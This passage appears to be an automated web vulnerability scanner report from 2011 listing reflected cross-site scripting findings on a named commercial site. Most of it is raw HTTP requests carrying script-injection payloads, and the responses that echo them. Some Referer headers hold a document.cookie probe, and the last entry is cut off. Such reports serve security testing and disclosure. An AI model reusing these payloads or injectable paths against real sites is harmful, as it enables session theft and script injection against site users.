The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload d384f<script>alert(1)</script>49cad96841d was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /about/magazinesd384f<script>alert(1)</script>49cad96841d/ HTTP/1.1 Host: www.traderonline.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_pers=%20s_nr%3D1295884803685%7C1298476803685%3B%20s_lv%3D1295884803686%7C1390492803686%3B%20s_lv_s%3DFirst%2520Visit%7C1295886603686%3B; __utmz=144997931.1295884751.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/5; s_sess=%20s_cc%3Dtrue%3B%20s_evar2%3DData%2520Not%2520Available%3B%20s_evar3%3DData%2520Not%2520Available%3B%20s_evar4%3DData%2520Not%2520Available%3B%20s_sq%3D%3B; s_vi=[CS]v1|269ED0D58501209E-6000010F000341E3[CE]; OAX=rcHW8009oaoAAx1V; __utma=144997931.534060529.1295884751.1295884751.1295884751.1; __utmc=144997931; __utmb=144997931.3.10.1295884751;
Response
HTTP/1.1 404 Not Found Date: Tue, 25 Jan 2011 00:10:45 GMT Server: Apache/2.0.63 (Unix) DAV/2 PHP/5.2.13 X-Powered-By: PHP/5.2.13 Connection: close Content-Type: text/html Content-Length: 27595
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html> <head> <title>Information fourofour TraderOnline.com, Trader Magazines, and TraderOnline family sites. – TraderOnline.com ...[SNIP]... <span style="color:red;">/about/magazinesd384f<script>alert(1)</script>49cad96841d/</span> ...[SNIP]...
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload f6d9e<script>alert(1)</script>5fa6a98e11 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /aboutf6d9e<script>alert(1)</script>5fa6a98e11/newsletter/ HTTP/1.1 Host: www.traderonline.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_pers=%20s_nr%3D1295884803685%7C1298476803685%3B%20s_lv%3D1295884803686%7C1390492803686%3B%20s_lv_s%3DFirst%2520Visit%7C1295886603686%3B; __utmz=144997931.1295884751.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/5; s_sess=%20s_cc%3Dtrue%3B%20s_evar2%3DData%2520Not%2520Available%3B%20s_evar3%3DData%2520Not%2520Available%3B%20s_evar4%3DData%2520Not%2520Available%3B%20s_sq%3D%3B; s_vi=[CS]v1|269ED0D58501209E-6000010F000341E3[CE]; OAX=rcHW8009oaoAAx1V; __utma=144997931.534060529.1295884751.1295884751.1295884751.1; __utmc=144997931; __utmb=144997931.3.10.1295884751;
Response
HTTP/1.1 404 Not Found Date: Tue, 25 Jan 2011 00:10:40 GMT Server: Apache/2.0.63 (Unix) DAV/2 PHP/5.2.13 X-Powered-By: PHP/5.2.13 Connection: close Content-Type: text/html Content-Length: 27595
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html> <head> <title>Information fourofour TraderOnline.com, Trader Magazines, and TraderOnline family sites. – TraderOnline.com ...[SNIP]... <span style="color:red;">/aboutf6d9e<script>alert(1)</script>5fa6a98e11/newsletter/</span> ...[SNIP]...
The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload 4fc07<script>alert(1)</script>39f52bc21e9 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /about/newsletter4fc07<script>alert(1)</script>39f52bc21e9/ HTTP/1.1 Host: www.traderonline.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_pers=%20s_nr%3D1295884803685%7C1298476803685%3B%20s_lv%3D1295884803686%7C1390492803686%3B%20s_lv_s%3DFirst%2520Visit%7C1295886603686%3B; __utmz=144997931.1295884751.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/5; s_sess=%20s_cc%3Dtrue%3B%20s_evar2%3DData%2520Not%2520Available%3B%20s_evar3%3DData%2520Not%2520Available%3B%20s_evar4%3DData%2520Not%2520Available%3B%20s_sq%3D%3B; s_vi=[CS]v1|269ED0D58501209E-6000010F000341E3[CE]; OAX=rcHW8009oaoAAx1V; __utma=144997931.534060529.1295884751.1295884751.1295884751.1; __utmc=144997931; __utmb=144997931.3.10.1295884751;
Response
HTTP/1.1 404 Not Found Date: Tue, 25 Jan 2011 00:10:44 GMT Server: Apache/2.0.63 (Unix) DAV/2 PHP/5.2.13 X-Powered-By: PHP/5.2.13 Connection: close Content-Type: text/html Content-Length: 27596
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html> <head> <title>Information fourofour TraderOnline.com, Trader Magazines, and TraderOnline family sites. – TraderOnline.com ...[SNIP]... <span style="color:red;">/about/newsletter4fc07<script>alert(1)</script>39f52bc21e9/</span> ...[SNIP]...
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload a58dd<script>alert(1)</script>ec8df3e0846 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /advertisea58dd<script>alert(1)</script>ec8df3e0846/ HTTP/1.1 Host: www.traderonline.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_pers=%20s_nr%3D1295884803685%7C1298476803685%3B%20s_lv%3D1295884803686%7C1390492803686%3B%20s_lv_s%3DFirst%2520Visit%7C1295886603686%3B; __utmz=144997931.1295884751.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/5; s_sess=%20s_cc%3Dtrue%3B%20s_evar2%3DData%2520Not%2520Available%3B%20s_evar3%3DData%2520Not%2520Available%3B%20s_evar4%3DData%2520Not%2520Available%3B%20s_sq%3D%3B; s_vi=[CS]v1|269ED0D58501209E-6000010F000341E3[CE]; OAX=rcHW8009oaoAAx1V; __utma=144997931.534060529.1295884751.1295884751.1295884751.1; __utmc=144997931; __utmb=144997931.3.10.1295884751;
Response
HTTP/1.1 404 Not Found Date: Tue, 25 Jan 2011 00:11:09 GMT Server: Apache/2.0.63 (Unix) DAV/2 PHP/5.2.13 X-Powered-By: PHP/5.2.13 Connection: close Content-Type: text/html Content-Length: 27589
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html> <head> <title>Information fourofour TraderOnline.com, Trader Magazines, and TraderOnline family sites. – TraderOnline.com ...[SNIP]... <span style="color:red;">/advertisea58dd<script>alert(1)</script>ec8df3e0846/</span> ...[SNIP]...
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 8691b<script>alert(1)</script>65be1beee20 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /advertiser-agreement8691b<script>alert(1)</script>65be1beee20/ HTTP/1.1 Host: www.traderonline.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_pers=%20s_nr%3D1295884803685%7C1298476803685%3B%20s_lv%3D1295884803686%7C1390492803686%3B%20s_lv_s%3DFirst%2520Visit%7C1295886603686%3B; __utmz=144997931.1295884751.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/5; s_sess=%20s_cc%3Dtrue%3B%20s_evar2%3DData%2520Not%2520Available%3B%20s_evar3%3DData%2520Not%2520Available%3B%20s_evar4%3DData%2520Not%2520Available%3B%20s_sq%3D%3B; s_vi=[CS]v1|269ED0D58501209E-6000010F000341E3[CE]; OAX=rcHW8009oaoAAx1V; __utma=144997931.534060529.1295884751.1295884751.1295884751.1; __utmc=144997931; __utmb=144997931.3.10.1295884751;
Response
HTTP/1.1 404 Not Found Date: Tue, 25 Jan 2011 00:10:58 GMT Server: Apache/2.0.63 (Unix) DAV/2 PHP/5.2.13 X-Powered-By: PHP/5.2.13 Connection: close Content-Type: text/html Content-Length: 27600
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html> <head> <title>Information fourofour TraderOnline.com, Trader Magazines, and TraderOnline family sites. – TraderOnline.com ...[SNIP]... <span style="color:red;">/advertiser-agreement8691b<script>alert(1)</script>65be1beee20/</span> ...[SNIP]...
4.1455. http://www.traderonline.com/advertiser-agreement/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.traderonline.com
Path:
/advertiser-agreement/
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload e5579"%3balert(1)//18aae412f91 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as e5579";alert(1)//18aae412f91 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /advertiser-agreement/?e5579"%3balert(1)//18aae412f91=1 HTTP/1.1 Host: www.traderonline.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_pers=%20s_nr%3D1295884803685%7C1298476803685%3B%20s_lv%3D1295884803686%7C1390492803686%3B%20s_lv_s%3DFirst%2520Visit%7C1295886603686%3B; __utmz=144997931.1295884751.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/5; s_sess=%20s_cc%3Dtrue%3B%20s_evar2%3DData%2520Not%2520Available%3B%20s_evar3%3DData%2520Not%2520Available%3B%20s_evar4%3DData%2520Not%2520Available%3B%20s_sq%3D%3B; s_vi=[CS]v1|269ED0D58501209E-6000010F000341E3[CE]; OAX=rcHW8009oaoAAx1V; __utma=144997931.534060529.1295884751.1295884751.1295884751.1; __utmc=144997931; __utmb=144997931.3.10.1295884751;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 00:10:48 GMT Server: Apache/2.0.63 (Unix) DAV/2 PHP/5.2.13 X-Powered-By: PHP/5.2.13 Connection: close Content-Type: text/html Content-Length: 27015
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html> <head> <title>TraderOnline.com Advertiser Agreement</title> <meta name="description" content="View the Advertiser Agreement fo ...[SNIP]... <SCRIPT>DisplayAds("traderonline","www.traderonline.com/", "", "", "?e5579";alert(1)//18aae412f91=1&","Right1","0","0")</SCRIPT> ...[SNIP]...
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 44c48<script>alert(1)</script>923c2e1ea45 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /copyright44c48<script>alert(1)</script>923c2e1ea45/ HTTP/1.1 Host: www.traderonline.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_pers=%20s_nr%3D1295884803685%7C1298476803685%3B%20s_lv%3D1295884803686%7C1390492803686%3B%20s_lv_s%3DFirst%2520Visit%7C1295886603686%3B; __utmz=144997931.1295884751.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/5; s_sess=%20s_cc%3Dtrue%3B%20s_evar2%3DData%2520Not%2520Available%3B%20s_evar3%3DData%2520Not%2520Available%3B%20s_evar4%3DData%2520Not%2520Available%3B%20s_sq%3D%3B; s_vi=[CS]v1|269ED0D58501209E-6000010F000341E3[CE]; OAX=rcHW8009oaoAAx1V; __utma=144997931.534060529.1295884751.1295884751.1295884751.1; __utmc=144997931; __utmb=144997931.3.10.1295884751;
Response
HTTP/1.1 404 Not Found Date: Tue, 25 Jan 2011 00:11:10 GMT Server: Apache/2.0.63 (Unix) DAV/2 PHP/5.2.13 X-Powered-By: PHP/5.2.13 Connection: close Content-Type: text/html Content-Length: 27589
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html> <head> <title>Information fourofour TraderOnline.com, Trader Magazines, and TraderOnline family sites. – TraderOnline.com ...[SNIP]... <span style="color:red;">/copyright44c48<script>alert(1)</script>923c2e1ea45/</span> ...[SNIP]...
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload c89f8<script>alert(1)</script>f02bcd6ebe0 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /cssc89f8<script>alert(1)</script>f02bcd6ebe0/promoCSS.php HTTP/1.1 Host: www.traderonline.com Proxy-Connection: keep-alive Referer: http://www.traderonline.com/x22ec89d%3Cscript%3Ealert(document.cookie)%3C/script%3E93a08fbf703 Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Date: Mon, 24 Jan 2011 22:27:10 GMT Server: Apache/2.0.63 (Unix) DAV/2 PHP/5.2.13 X-Powered-By: PHP/5.2.13 Connection: close Content-Type: text/html Content-Length: 27595
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html> <head> <title>Information fourofour TraderOnline.com, Trader Magazines, and TraderOnline family sites. – TraderOnline.com ...[SNIP]... <span style="color:red;">/cssc89f8<script>alert(1)</script>f02bcd6ebe0/promoCSS.php</span> ...[SNIP]...
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 9b116<script>alert(1)</script>87d127fc818 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /css9b116<script>alert(1)</script>87d127fc818/tolhomecss.php HTTP/1.1 Host: www.traderonline.com Proxy-Connection: keep-alive Referer: http://www.traderonline.com/ Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: OAX=rcHW8009oaoAAx1V; __utmz=144997931.1295884751.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/5; s_vi=[CS]v1|269ED0D58501209E-6000010F000341E3[CE]; s_pers=%20s_nr%3D1295884785350%7C1298476785350%3B%20s_lv%3D1295884785352%7C1390492785352%3B%20s_lv_s%3DFirst%2520Visit%7C1295886585352%3B; s_sess=%20s_cc%3Dtrue%3B%20s_evar2%3DData%2520Not%2520Available%3B%20s_evar3%3DData%2520Not%2520Available%3B%20s_evar4%3DData%2520Not%2520Available%3B%20s_sq%3D%3B; __utma=144997931.534060529.1295884751.1295884751.1295884751.1; __utmc=144997931; __utmb=144997931.2.10.1295884751
Response
HTTP/1.1 404 Not Found Date: Mon, 24 Jan 2011 22:27:22 GMT Server: Apache/2.0.63 (Unix) DAV/2 PHP/5.2.13 X-Powered-By: PHP/5.2.13 Connection: close Content-Type: text/html Content-Length: 27597
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html> <head> <title>Information fourofour TraderOnline.com, Trader Magazines, and TraderOnline family sites. – TraderOnline.com ...[SNIP]... <span style="color:red;">/css9b116<script>alert(1)</script>87d127fc818/tolhomecss.php</span> ...[SNIP]...
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 7c090<script>alert(1)</script>a2d1c9763c0 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /find7c090<script>alert(1)</script>a2d1c9763c0/ HTTP/1.1 Host: www.traderonline.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_pers=%20s_nr%3D1295884803685%7C1298476803685%3B%20s_lv%3D1295884803686%7C1390492803686%3B%20s_lv_s%3DFirst%2520Visit%7C1295886603686%3B; __utmz=144997931.1295884751.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/5; s_sess=%20s_cc%3Dtrue%3B%20s_evar2%3DData%2520Not%2520Available%3B%20s_evar3%3DData%2520Not%2520Available%3B%20s_evar4%3DData%2520Not%2520Available%3B%20s_sq%3D%3B; s_vi=[CS]v1|269ED0D58501209E-6000010F000341E3[CE]; OAX=rcHW8009oaoAAx1V; __utma=144997931.534060529.1295884751.1295884751.1295884751.1; __utmc=144997931; __utmb=144997931.3.10.1295884751;
Response
HTTP/1.1 404 Not Found Date: Tue, 25 Jan 2011 00:10:17 GMT Server: Apache/2.0.63 (Unix) DAV/2 PHP/5.2.13 X-Powered-By: PHP/5.2.13 Connection: close Content-Type: text/html Content-Length: 27584
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html> <head> <title>Information fourofour TraderOnline.com, Trader Magazines, and TraderOnline family sites. – TraderOnline.com ...[SNIP]... <span style="color:red;">/find7c090<script>alert(1)</script>a2d1c9763c0/</span> ...[SNIP]...
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 36fb8<script>alert(1)</script>9b8e187e065 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /javascript36fb8<script>alert(1)</script>9b8e187e065/master_s_code.js HTTP/1.1 Host: www.traderonline.com Proxy-Connection: keep-alive Referer: http://www.traderonline.com/x22ec89d%3Cscript%3Ealert(document.cookie)%3C/script%3E93a08fbf703 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Date: Mon, 24 Jan 2011 22:27:03 GMT Server: Apache/2.0.63 (Unix) DAV/2 PHP/5.2.13 X-Powered-By: PHP/5.2.13 Connection: close Content-Type: text/html Content-Length: 27606
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html> <head> <title>Information fourofour TraderOnline.com, Trader Magazines, and TraderOnline family sites. – TraderOnline.com ...[SNIP]... <span style="color:red;">/javascript36fb8<script>alert(1)</script>9b8e187e065/master_s_code.js</span> ...[SNIP]...
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 36485<script>alert(1)</script>f3a99f08b5b was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /javascript36485<script>alert(1)</script>f3a99f08b5b/realmedia.js HTTP/1.1 Host: www.traderonline.com Proxy-Connection: keep-alive Referer: http://www.traderonline.com/x22ec89d%3Cscript%3Ealert(document.cookie)%3C/script%3E93a08fbf703 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Date: Mon, 24 Jan 2011 22:15:38 GMT Server: Apache/2.0.63 (Unix) DAV/2 PHP/5.2.13 X-Powered-By: PHP/5.2.13 Connection: close Content-Type: text/html Content-Length: 27602
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html> <head> <title>Information fourofour TraderOnline.com, Trader Magazines, and TraderOnline family sites. – TraderOnline.com ...[SNIP]... <span style="color:red;">/javascript36485<script>alert(1)</script>f3a99f08b5b/realmedia.js</span> ...[SNIP]...
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 5f084<script>alert(1)</script>775c491c35d was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /myt5f084<script>alert(1)</script>775c491c35d/ HTTP/1.1 Host: www.traderonline.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_pers=%20s_nr%3D1295884803685%7C1298476803685%3B%20s_lv%3D1295884803686%7C1390492803686%3B%20s_lv_s%3DFirst%2520Visit%7C1295886603686%3B; __utmz=144997931.1295884751.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/5; s_sess=%20s_cc%3Dtrue%3B%20s_evar2%3DData%2520Not%2520Available%3B%20s_evar3%3DData%2520Not%2520Available%3B%20s_evar4%3DData%2520Not%2520Available%3B%20s_sq%3D%3B; s_vi=[CS]v1|269ED0D58501209E-6000010F000341E3[CE]; OAX=rcHW8009oaoAAx1V; __utma=144997931.534060529.1295884751.1295884751.1295884751.1; __utmc=144997931; __utmb=144997931.3.10.1295884751;
Response
HTTP/1.1 404 Not Found Date: Tue, 25 Jan 2011 00:11:19 GMT Server: Apache/2.0.63 (Unix) DAV/2 PHP/5.2.13 X-Powered-By: PHP/5.2.13 Connection: close Content-Type: text/html Content-Length: 27583
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html> <head> <title>Information fourofour TraderOnline.com, Trader Magazines, and TraderOnline family sites. – TraderOnline.com ...[SNIP]... <span style="color:red;">/myt5f084<script>alert(1)</script>775c491c35d/</span> ...[SNIP]...
4.1463. http://www.traderonline.com/myt/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.traderonline.com
Path:
/myt/
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 3e958"%3balert(1)//68c3f4dfbcd was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 3e958";alert(1)//68c3f4dfbcd in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /myt/?3e958"%3balert(1)//68c3f4dfbcd=1 HTTP/1.1 Host: www.traderonline.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_pers=%20s_nr%3D1295884803685%7C1298476803685%3B%20s_lv%3D1295884803686%7C1390492803686%3B%20s_lv_s%3DFirst%2520Visit%7C1295886603686%3B; __utmz=144997931.1295884751.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/5; s_sess=%20s_cc%3Dtrue%3B%20s_evar2%3DData%2520Not%2520Available%3B%20s_evar3%3DData%2520Not%2520Available%3B%20s_evar4%3DData%2520Not%2520Available%3B%20s_sq%3D%3B; s_vi=[CS]v1|269ED0D58501209E-6000010F000341E3[CE]; OAX=rcHW8009oaoAAx1V; __utma=144997931.534060529.1295884751.1295884751.1295884751.1; __utmc=144997931; __utmb=144997931.3.10.1295884751;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 00:11:07 GMT Server: Apache/2.0.63 (Unix) DAV/2 PHP/5.2.13 X-Powered-By: PHP/5.2.13 Connection: close Content-Type: text/html Content-Length: 35274
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html> <head> <title>MyTrader - Save, Modify, Delete Vehicles for Sale - TraderOnline.com</title> <meta name="description" content="U ...[SNIP]... <SCRIPT>DisplayAds("traderonline","www.traderonline.com/", "", "", "?3e958";alert(1)//68c3f4dfbcd=1&","Right1","0","0")</SCRIPT> ...[SNIP]...
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 95fcd<script>alert(1)</script>8ca7cdf2e27 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /privacy-policy95fcd<script>alert(1)</script>8ca7cdf2e27/ HTTP/1.1 Host: www.traderonline.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_pers=%20s_nr%3D1295884803685%7C1298476803685%3B%20s_lv%3D1295884803686%7C1390492803686%3B%20s_lv_s%3DFirst%2520Visit%7C1295886603686%3B; __utmz=144997931.1295884751.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/5; s_sess=%20s_cc%3Dtrue%3B%20s_evar2%3DData%2520Not%2520Available%3B%20s_evar3%3DData%2520Not%2520Available%3B%20s_evar4%3DData%2520Not%2520Available%3B%20s_sq%3D%3B; s_vi=[CS]v1|269ED0D58501209E-6000010F000341E3[CE]; OAX=rcHW8009oaoAAx1V; __utma=144997931.534060529.1295884751.1295884751.1295884751.1; __utmc=144997931; __utmb=144997931.3.10.1295884751;
Response
HTTP/1.1 404 Not Found Date: Tue, 25 Jan 2011 00:10:57 GMT Server: Apache/2.0.63 (Unix) DAV/2 PHP/5.2.13 X-Powered-By: PHP/5.2.13 Connection: close Content-Type: text/html Content-Length: 27594
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html> <head> <title>Information fourofour TraderOnline.com, Trader Magazines, and TraderOnline family sites. – TraderOnline.com ...[SNIP]... <span style="color:red;">/privacy-policy95fcd<script>alert(1)</script>8ca7cdf2e27/</span> ...[SNIP]...
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 5b765<script>alert(1)</script>14da2687f8b was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /research5b765<script>alert(1)</script>14da2687f8b/ HTTP/1.1 Host: www.traderonline.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_pers=%20s_nr%3D1295884803685%7C1298476803685%3B%20s_lv%3D1295884803686%7C1390492803686%3B%20s_lv_s%3DFirst%2520Visit%7C1295886603686%3B; __utmz=144997931.1295884751.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/5; s_sess=%20s_cc%3Dtrue%3B%20s_evar2%3DData%2520Not%2520Available%3B%20s_evar3%3DData%2520Not%2520Available%3B%20s_evar4%3DData%2520Not%2520Available%3B%20s_sq%3D%3B; s_vi=[CS]v1|269ED0D58501209E-6000010F000341E3[CE]; OAX=rcHW8009oaoAAx1V; __utma=144997931.534060529.1295884751.1295884751.1295884751.1; __utmc=144997931; __utmb=144997931.3.10.1295884751;
Response
HTTP/1.1 404 Not Found Date: Tue, 25 Jan 2011 00:10:26 GMT Server: Apache/2.0.63 (Unix) DAV/2 PHP/5.2.13 X-Powered-By: PHP/5.2.13 Connection: close Content-Type: text/html Content-Length: 27588
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html> <head> <title>Information fourofour TraderOnline.com, Trader Magazines, and TraderOnline family sites. – TraderOnline.com ...[SNIP]... <span style="color:red;">/research5b765<script>alert(1)</script>14da2687f8b/</span> ...[SNIP]...
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload ec6df<script>alert(1)</script>04ceb87c2eb was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /securityec6df<script>alert(1)</script>04ceb87c2eb/ HTTP/1.1 Host: www.traderonline.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_pers=%20s_nr%3D1295884803685%7C1298476803685%3B%20s_lv%3D1295884803686%7C1390492803686%3B%20s_lv_s%3DFirst%2520Visit%7C1295886603686%3B; __utmz=144997931.1295884751.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/5; s_sess=%20s_cc%3Dtrue%3B%20s_evar2%3DData%2520Not%2520Available%3B%20s_evar3%3DData%2520Not%2520Available%3B%20s_evar4%3DData%2520Not%2520Available%3B%20s_sq%3D%3B; s_vi=[CS]v1|269ED0D58501209E-6000010F000341E3[CE]; OAX=rcHW8009oaoAAx1V; __utma=144997931.534060529.1295884751.1295884751.1295884751.1; __utmc=144997931; __utmb=144997931.3.10.1295884751;
Response
HTTP/1.1 404 Not Found Date: Tue, 25 Jan 2011 00:10:33 GMT Server: Apache/2.0.63 (Unix) DAV/2 PHP/5.2.13 X-Powered-By: PHP/5.2.13 Connection: close Content-Type: text/html Content-Length: 27588
